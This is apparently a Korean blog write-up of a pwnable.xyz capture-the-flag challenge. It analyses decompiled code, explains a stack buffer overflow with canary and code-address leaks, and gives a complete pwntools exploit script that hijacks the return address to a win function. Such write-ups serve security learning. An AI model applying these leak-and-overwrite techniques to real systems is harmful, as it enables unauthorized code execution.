1. 문제
1) mitigation 확인
이번에도 역시 전부다 걸려있다.
2) 문제 확인
뭐 이상한 단어들이 쭉 나열되고 입력을 한번 받는다. 그리고 이 게임을 이해하지 못했다며 score가 -1 깍이게 된다. 코드를 살펴보자.
3) 코드 확인
- SUB_EAD() 함수
unsigned __int64 sub_EAD() { size_t v0; // rax size_t v2; // rax char *s1; // [rsp+8h] [rbp-78h] char s; // [rsp+10h] [rbp-70h] unsigned __int64 v5; // [rsp+78h] [rbp-8h] v5 = __readfsqword(0x28u); while ( 1 ) { s1 = sub_D48(); memset(&s, 0, 0x64uLL); printf("Your score: %d\n", score); printf("me > %s\n", s1); printf("you > "); v0 = strlen(s1); read(0, &s, v0 + 1); if ( !strncmp(&s, "exit", 4uLL) ) break; v2 = strlen(s1); if ( !strncmp(s1, &s, v2) ) { printf("You said: %s", &s); puts("Yay, you're good at this, let's go on :)\n"); ++score; } else { printf("You said: %s", &s); puts("I don't think you understood how this game works :(\n"); --score; } free(s1); } free(s1); puts("Ya go away, I don't want to play with you anymore anyways :P\n"); return __readfsqword(0x28u) ^ v5; }
메인 함수는 아무것도 없고 해당 함수가 주요 루틴이다. 처음에 sub_D48() 함수가 호출되면서 아까 화면에 나왔던 괴상한 문자열들이 s1에 담긴다. 그리고 strlen() 함수로 s1의 길이를 구한다음에 해당 사이즈 + 1 만큼 s 변수에 read함수로 입력을 하게 된다.
그다음 입력한 값과 아까 s1에 담긴 문자열을
strncmp
함수로 비교를 하고 동일하면 score를 1점 올리고 다르면 -1을 내린다. sub_D48() 함수를 살펴보자
- sub_D48() 함수
char *sub_D48() { int v1; // [rsp+8h] [rbp-78h] int i; // [rsp+Ch] [rbp-74h] int j; // [rsp+10h] [rbp-70h] int k; // [rsp+14h] [rbp-6Ch] char *s; // [rsp+18h] [rbp-68h] int v6[22]; // [rsp+20h] [rbp-60h] unsigned __int64 v7; // [rsp+78h] [rbp-8h] v7 = __readfsqword(0x28u); v1 = 0; for ( i = 0; i <= 19; ++i ) v6[i] = rand() % 10; for ( j = 0; j <= 19; ++j ) v1 += strlen((&off_202020)[v6[j]]); s = (char *)malloc(v1 + 20); memset(s, 0, v1 + 20); for ( k = 0; k <= 19; ++k ) { strcat(s, (&off_202020)[v6[k]]); if ( k <= 18 ) *(_WORD *)&s[strlen(s)] = '-'; } return s; }
해당 함수에서 아까 괴장한 문자열이 만들어진다. .data 영역에 off_202020 주소에 들어있는 값을 기준으로 여러 단어들이 있다. 여기서 랜덤값으로 인덱스가 선택되면서 총 20개의 단어가 선택이 strcat으로 ' - ' 으로 연결된다.
위 사진을 보면 총 10개의 단어가 20번씩 for문을 돌면서 랜덤하게 선택되어 ' - ' 으로 연결되는 것이다. 단어들의 길이는 제각각이므로 s1에 담기는 최종 문자열의 길이도 랜덤일 것이며, 이 랜덤값을 기준으로 우리가 입력을 하는 것이다.
2. 접근방법
접근 방법을 의외로 간단하다. 가장 문자열의길이가 긴 것이 yadayada
이고 만약 20번 모두 이 단어가 랜덤하게 선택된다면, ' - ' 을 포함해 최대 총 8*20+1*19 = 179 바이트 만큼 입력할 수 있다.
현재 read함수의 입력은 s 변수에 들어가게 되는데, 이는 rbp-0x70위치에 존재하므로 ret를 덮을 수 있다. 하지만 현재 카나리가 걸려있으므로, 카나리와 코드 주소를 leak해야 한다.
strncmp 반환값이 0이든 아니든 그거와는 상관없이 s에 담긴 문자열을 출력해준다. 이를 통해 카나리, code 주소를 알수 있으며, 이를 이용하여 ret에 win함수의 주소를 넣으면 끝이다.
3. 풀이
최종 익스코드는 다음과 같다
from pwn import *
context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30027)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0xfd3+$code\n')
payload2="A"*0x69
#find canary
while(1):
p.recvuntil("me > ")
me=p.recvuntil("\n")[:-1]
log.info(len(me))
if len(me) >= 0x70:
p.sendafter(" > ",payload2)
else:
p.sendafter(" > ","A")
if len(me) >= 0x78:
p.recvuntil("You said: ")
tmp=p.recvuntil("I do")[:-4]
log.info("recv ::"+tmp)
#log.info("len ::"+lem(tmp))
canary=u64(tmp[0x68:0x70].ljust(8,'\x00')) >> 8 << 8
#log.info(len(tmp[0x70:].ljust(8,'\x00')))
#log.info("code addr::"+tmp[0x78:0x80])
#pause()
log.info("canary::"+hex(canary))
pause()
break;
payload="B"*0x78
#find code addr
while(1):
p.recvuntil("me > ")
me=p.recvuntil("\n")[:-1]
log.info(len(me))
if len(me) >= 0x78:
p.sendafter("you > ",payload)
else:
p.sendafter("you > ","B")
if len(me) >= 0x78:
p.recvuntil("You said: ")
tmp=p.recvuntil("I do")[:-4]
log.info("recv ::"+tmp)
#log.info("len ::"+lem(tmp))
code_addr=u64(tmp[0x78:0x80].ljust(8,'\x00'))-0x1081
#log.info(len(tmp[0x70:].ljust(8,'\x00')))
#log.info("code addr::"+tmp[0x78:0x80])
#pause()
log.info("code addr::"+hex(code_addr))
pause()
break;
payload3="A"*0x68+p64(canary)+"B"*8+p64(code_addr+0xd30)
#ex
while(1):
p.recvuntil("me > ")
me=p.recvuntil("\n")[:-1]
log.info(len(me))
if len(me) >= 0x80:
p.sendafter("you > ",payload3)
break;
else:
p.sendafter("you > ","B")
p.sendafter("you > ","exit")
p.interactive()
4. 몰랐던 개념
- none
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] Hero Factory (0) | 2020.05.13 |
---|---|
[pwnable.xyz] note v2 (0) | 2020.05.13 |
[pwnable.xyz] password (2) | 2020.05.12 |
[pwnable.xyz] Punch it (0) | 2020.05.11 |
[pwnable.xyz] catalog (0) | 2020.05.10 |